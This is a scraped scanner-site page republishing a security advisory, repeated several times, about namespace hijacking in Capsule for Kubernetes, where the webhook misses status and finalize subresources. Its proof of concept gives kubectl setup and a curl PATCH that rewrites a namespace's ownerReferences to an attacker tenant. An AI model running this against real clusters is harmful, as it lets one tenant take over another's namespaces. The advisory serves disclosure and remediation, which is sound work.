### Summary To defend against namespace hijacking achieved through update/patch operations on namespaces, Capsule uses a webhook to validate update requests targeting namespaces. However, in Kubernetes, the namespace/finalize and namespace/status subresource APIs can also modify various fields of a namespace, including the metadata field. The webhook does not define interception rules for these subresources. As a result, if a tenant administrator has permission to modify namespace/status or namespace/finalize, they can successfully perform namespace hijacking. ### Details When Capsule uses a ValidatingWebhookConfiguration to intercept changes to namespace resources, it does not intercept modification requests initiated through namespace subresource APIs (see: https://github.com/projectcapsule/capsule/blob/main/charts/capsule/templates/validatingwebhookconfiguration.yaml#L193). Through subresource APIs, it is still possible to modify the metadata field of a namespace resource, enabling hijacking. ### PoC Open two terminals and create two tenants: ``` kubectl create -f - << EOF apiVersion: capsule.clastix.io/v1beta2 kind: Tenant metadata: name: oil spec: owners: - name: alice kind: User EOF ./hack/create-user.sh alice solar export KUBECONFIG=alice-solar.kubeconfig kubectl create namespace solar-production # alice creates the namespace ``` ``` kubectl create -f - << EOF apiVersion: capsule.clastix.io/v1beta2 kind: Tenant metadata: name: attacker spec: owners: - name: attacker kind: User EOF ./hack/create-user.sh attacker attacker export KUBECONFIG=attacker-attacker.kubeconfig ``` When the attacker has permission to modify namespace/status or namespace/finalize, they can hijack other namespaces. Here we grant the attacker the relevant permissions: ``` kubectl create clusterrole status --verb=patch --resource=namespaces/status kubectl create clusterrolebinding status --clusterrole=status --user=attacker ``` The attacker then sends a PATCH request to namespace/status to hijack the namespace created by alice: ``` curl -k --cert ./attacker-attacker.crt --key attacker-attacker.key --request PATCH 'https://192.168.201.12:6443/api/v1/namespaces/solar-production/status' \ --header 'Content-Type: application/json-patch+json' \ --data '[ { "op": "replace", "path": "/metadata/ownerReferences", "value": [ { "apiVersion": "capsule.clastix.io/v1beta2", "kind": "Tenant", "name": "attacker", "uid": "1fcb9c9b-b552-4974-a248-32be66a2188c" } ] } ]' ``` ### Impact hijack namespace ### Remediation To mitigate this issue, add the following two subresources to the resources list in the ValidatingWebhookConfiguration rules: ``` resources: - namespaces - namespaces/status - namespace/finalize ```
### Summary To defend against namespace hijacking achieved through update/patch operations on namespaces, Capsule uses a webhook to validate update requests targeting namespaces. However, in Kubernetes, the namespace/finalize and namespace/status subresource APIs can also modify various fields of a namespace, including the metadata field. The webhook does not define interception rules for these subresources. As a result, if a tenant administrator has permission to modify namespace/status or namespace/finalize, they can successfully perform namespace hijacking. ### Details When Capsule uses a ValidatingWebhookConfiguration to intercept changes to namespace resources, it does not intercept modification requests initiated through namespace subresource APIs (see: https://github.com/projectcapsule/capsule/blob/main/charts/capsule/templates/validatingwebhookconfiguration.yaml#L193). Through subresource APIs, it is still possible to modify the metadata field of a namespace resource, enabling hijacking. ### PoC Open two terminals and create two tenants: ``` kubectl create -f - << EOF apiVersion: capsule.clastix.io/v1beta2 kind: Tenant metadata: name: oil spec: owners: - name: alice kind: User EOF ./hack/create-user.sh alice solar export KUBECONFIG=alice-solar.kubeconfig kubectl create namespace solar-production # alice creates the namespace ``` ``` kubectl create -f - << EOF apiVersion: capsule.clastix.io/v1beta2 kind: Tenant metadata: name: attacker spec: owners: - name: attacker kind: User EOF ./hack/create-user.sh attacker attacker export KUBECONFIG=attacker-attacker.kubeconfig ``` When the attacker has permission to modify namespace/status or namespace/finalize, they can hijack other namespaces. Here we grant the attacker the relevant permissions: ``` kubectl create clusterrole status --verb=patch --resource=namespaces/status kubectl create clusterrolebinding status --clusterrole=status --user=attacker ``` The attacker then sends a PATCH request to namespace/status to hijack the namespace created by alice: ``` curl -k --cert ./attacker-attacker.crt --key attacker-attacker.key --request PATCH 'https://192.168.201.12:6443/api/v1/namespaces/solar-production/status' \ --header 'Content-Type: application/json-patch+json' \ --data '[ { "op": "replace", "path": "/metadata/ownerReferences", "value": [ { "apiVersion": "capsule.clastix.io/v1beta2", "kind": "Tenant", "name": "attacker", "uid": "1fcb9c9b-b552-4974-a248-32be66a2188c" } ] } ]' ``` ### Impact hijack namespace ### Remediation To mitigate this issue, add the following two subresources to the resources list in the ValidatingWebhookConfiguration rules: ``` resources: - namespaces - namespaces/status - namespace/finalize ```
Update github.com/projectcapsule/capsule to 0.13.0 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanCapsule Namespace Hijacking via subresource affects github.com/projectcapsule/capsule (go). Severity is low. ### Summary To defend against namespace hijacking achieved through update/patch operations on namespaces, Capsule uses a webhook to validate update requests targeting namespaces. However, in Kubernetes, the namespace/finalize and namespace/status subresource APIs can also modify various fields of a namespace, including the metadata field. The webhook does not define interception rules for these subresources. As a result, if a tenant administrator has permission to modify namespace/status or namespace/finalize, they can successfully perform namespace hijacking. ### Details When Capsule uses a ValidatingWebhookConfiguration to intercept changes to namespace resources, it does not intercept modification requests initiated through namespace subresource APIs (see: https://github.com/projectcapsule/capsule/blob/main/charts/capsule/templates/validatingwebhookconfiguration.yaml#L193). Through subresource APIs, it is still possible to modify the metadata field of a namespace resource, enabling hijacking. ### PoC Open two terminals and create two tenants: ``` kubectl create -f - << EOF apiVersion: capsule.clastix.io/v1beta2 kind: Tenant metadata: name: oil spec: owners: - name: alice kind: User EOF ./hack/create-user.sh alice solar export KUBECONFIG=alice-solar.kubeconfig kubectl create namespace solar-production # alice creates the namespace ``` ``` kubectl create -f - << EOF apiVersion: capsule.clastix.io/v1beta2 kind: Tenant metadata: name: attacker spec: owners: - name: attacker kind: User EOF ./hack/create-user.sh attacker attacker export KUBECONFIG=attacker-attacker.kubeconfig ``` When the attacker has permission to modify namespace/status or namespace/finalize, they can hijack other namespaces. Here we grant the attacker the relevant permissions: ``` kubectl create clusterrole status --verb=patch --resource=namespaces/status kubectl create clusterrolebinding status --clusterrole=status --user=attacker ``` The attacker then sends a PATCH request to namespace/status to hijack the namespace created by alice: ``` curl -k --cert ./attacker-attacker.crt --key attacker-attacker.key --request PATCH 'https://192.168.201.12:6443/api/v1/namespaces/solar-production/status' \ --header 'Content-Type: application/json-patch+json' \ --data '[ { "op": "replace", "path": "/metadata/ownerReferences", "value": [ { "apiVersion": "capsule.clastix.io/v1beta2", "kind": "Tenant", "name": "attacker", "uid": "1fcb9c9b-b552-4974-a248-32be66a2188c" } ] } ]' ``` ### Impact hijack namespace ### Remediation To mitigate this issue, add the following two subresources to the resources list in the ValidatingWebhookConfiguration rules: ``` resources: - namespaces - namespaces/status - namespace/finalize ```
AI coding agents often install or upgrade packages automatically in go. A low vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| github.com/projectcapsule/capsulego | <0.13.0 | 0.13.0 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL GuardUpdate github.com/projectcapsule/capsule to 0.13.0 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanCapsule Namespace Hijacking via subresource affects github.com/projectcapsule/capsule (go). Severity is low. ### Summary To defend against namespace hijacking achieved through update/patch operations on namespaces, Capsule uses a webhook to validate update requests targeting namespaces. However, in Kubernetes, the namespace/finalize and namespace/status subresource APIs can also modify various fields of a namespace, including the metadata field. The webhook does not define interception rules for these subresources. As a result, if a tenant administrator has permission to modify namespace/status or namespace/finalize, they can successfully perform namespace hijacking. ### Details When Capsule uses a ValidatingWebhookConfiguration to intercept changes to namespace resources, it does not intercept modification requests initiated through namespace subresource APIs (see: https://github.com/projectcapsule/capsule/blob/main/charts/capsule/templates/validatingwebhookconfiguration.yaml#L193). Through subresource APIs, it is still possible to modify the metadata field of a namespace resource, enabling hijacking. ### PoC Open two terminals and create two tenants: ``` kubectl create -f - << EOF apiVersion: capsule.clastix.io/v1beta2 kind: Tenant metadata: name: oil spec: owners: - name: alice kind: User EOF ./hack/create-user.sh alice solar export KUBECONFIG=alice-solar.kubeconfig kubectl create namespace solar-production # alice creates the namespace ``` ``` kubectl create -f - << EOF apiVersion: capsule.clastix.io/v1beta2 kind: Tenant metadata: name: attacker spec: owners: - name: attacker kind: User EOF ./hack/create-user.sh attacker attacker export KUBECONFIG=attacker-attacker.kubeconfig ``` When the attacker has permission to modify namespace/status or namespace/finalize, they can hijack other namespaces. Here we grant the attacker the relevant permissions: ``` kubectl create clusterrole status --verb=patch --resource=namespaces/status kubectl create clusterrolebinding status --clusterrole=status --user=attacker ``` The attacker then sends a PATCH request to namespace/status to hijack the namespace created by alice: ``` curl -k --cert ./attacker-attacker.crt --key attacker-attacker.key --request PATCH 'https://192.168.201.12:6443/api/v1/namespaces/solar-production/status' \ --header 'Content-Type: application/json-patch+json' \ --data '[ { "op": "replace", "path": "/metadata/ownerReferences", "value": [ { "apiVersion": "capsule.clastix.io/v1beta2", "kind": "Tenant", "name": "attacker", "uid": "1fcb9c9b-b552-4974-a248-32be66a2188c" } ] } ]' ``` ### Impact hijack namespace ### Remediation To mitigate this issue, add the following two subresources to the resources list in the ValidatingWebhookConfiguration rules: ``` resources: - namespaces - namespaces/status - namespace/finalize ```
AI coding agents often install or upgrade packages automatically in go. A low vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| github.com/projectcapsule/capsulego | <0.13.0 | 0.13.0 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL Guard